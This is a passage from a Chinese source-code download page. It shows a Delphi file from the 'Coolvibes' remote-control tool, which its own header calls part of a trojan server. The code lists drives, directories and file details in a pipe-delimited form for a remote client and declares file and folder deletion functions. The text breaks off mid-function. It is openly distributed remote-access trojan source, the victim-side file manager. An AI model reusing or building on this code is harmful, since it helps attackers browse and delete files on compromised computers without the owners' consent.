⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 unitfilemanager.pas

📁 Coolvibes 远程控制 Coolvibes 远程控制 Coolvibes 远程控制 Coolvibes 远程控制
💻 PAS
字号:
{Unit perteneciente al server troyano Coolvibes que contiene todas las funciones
que son usadas en el FileManager o Explorador de Archivos}
unit UnitFileManager;

interface

uses
  SysUtils,
  Windows,
  ShellApi;

function GetDrives: String;
function GetDirectory(const strPath: String): String;
function BorrarArchivo( s : String ): Boolean;
function BorrarCarpeta(DirName : string): Boolean;

implementation

function GetDrives: String;
var
  pDrive: PChar;
  Nombre, Formato: array[0..MAX_PATH] of char;
  EspacioTotal, EspacioDisponible: Int64;
  MaxPath, Flags: DWord;
begin
  GetMem(pDrive, 512);
  GetLogicalDriveStrings(512, pDrive); //llena el arreglo con las unidades
  SetErrorMode(SEM_FAILCRITICALERRORS); //Evita que se muestren errores cr韙icos
  while pDrive^ <> #0 do begin // mientras pDrive tenga algo...
    //Inicializamos los arrays a 0 para evitar que contengan basura
    FillChar(Nombre, SizeOf(Nombre), 0);
    FillChar(Formato, SizeOf(Formato), 0);
    EspacioDisponible := 0;
    EspacioTotal := 0;
    //Obtenemos el nombre y formato de disco
    GetVolumeInformation(pDrive, Nombre, SizeOf(Nombre), nil, MaxPath, Flags, Formato, SizeOf(Formato));
    if nombre= '' then nombre := ' ';
    //Espacio en disco
    GetDiskFreeSpaceEx(pDrive, EspacioDisponible, EspacioTotal, nil);
    Result := Result + pDrive + '|' + Nombre + '|' + IntToStr(EspacioDisponible) + '|' +
              IntToStr(EspacioTotal) + '|' + Formato + '|' + IntToStr(GetDriveType(pDrive)) + '|';
    Inc(pDrive, 4);
  end;
end;

// ------------
// GetDirectory
// ------------
function GetDirectory(const strPath: String): String;
//Retorna la lista de archivos y carpetas de StrPath
var
  strFile, strDirectory: String;
  Listado : TSearchRec;
  shInfo : TSHFileInfo;
  sFileType : string;
begin
  SetErrorMode(SEM_FAILCRITICALERRORS); //Evita que se muestren errores criticos
  if not DirectoryExists(StrPath) then
  begin
    if GetLastError()=21 then  //Error al acceder a la unidad
      Result := 'MSG|Unidad no accesible!'
    else
      Result := 'MSG|El directorio no existe!';
    exit;
  end;
  if FindFirst(strPath+'*.*', faAnyFile, Listado) = 0 then  //Encuentra el primer archivo en StrPath
  begin
    repeat
      if (Listado.Attr and 16) = 16 then //Si es una carpeta...
      begin
        if Copy(Listado.Name, 1,1)<>'.' then  //y no empieza por '.'...
          StrDirectory := StrDirectory + #2 + Listado.Name + '|';//Copie a la string de Carpetas #2Carpeta|#2Carpeta2|
      end
      else //Si no es una carpeta, es un archivo...
      begin
        SHGetFileInfo(PChar(strPath + Listado.Name), 0, shInfo, SizeOf(shInfo), SHGFI_TYPENAME);
        sFileType := shInfo.szTypeName;
        StrFile :=StrFile + Listado.Name+ '|' +(IntToStr(Listado.Size))+'|' + sFileType + '|'+ DateToStr(FileDateToDateTime(Listado.Time)) + '|';
        //Los archivos quedan en formato: Nombre|Tama駉|Tipo|Fecha|
        //El cliente debe saber que si encuentra un archivo, debe extraer el tama駉, el tipo y la fecha
      end;
      Result := StrDirectory + StrFile; //y envie todas las carpetas primero y despues los archivos
    until FindNext(Listado)<>0;
    SysUtils.FindClose(Listado);
  end
  else //Es decir, FindFirst(strPath+'*.*', faAnyFile, Listado) ES DIFERENTE de 0, osea que no hay archivos
    Result := '';
end;

function BorrarArchivo( s : String ): Boolean;
//Esta funci髇 la escribi

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -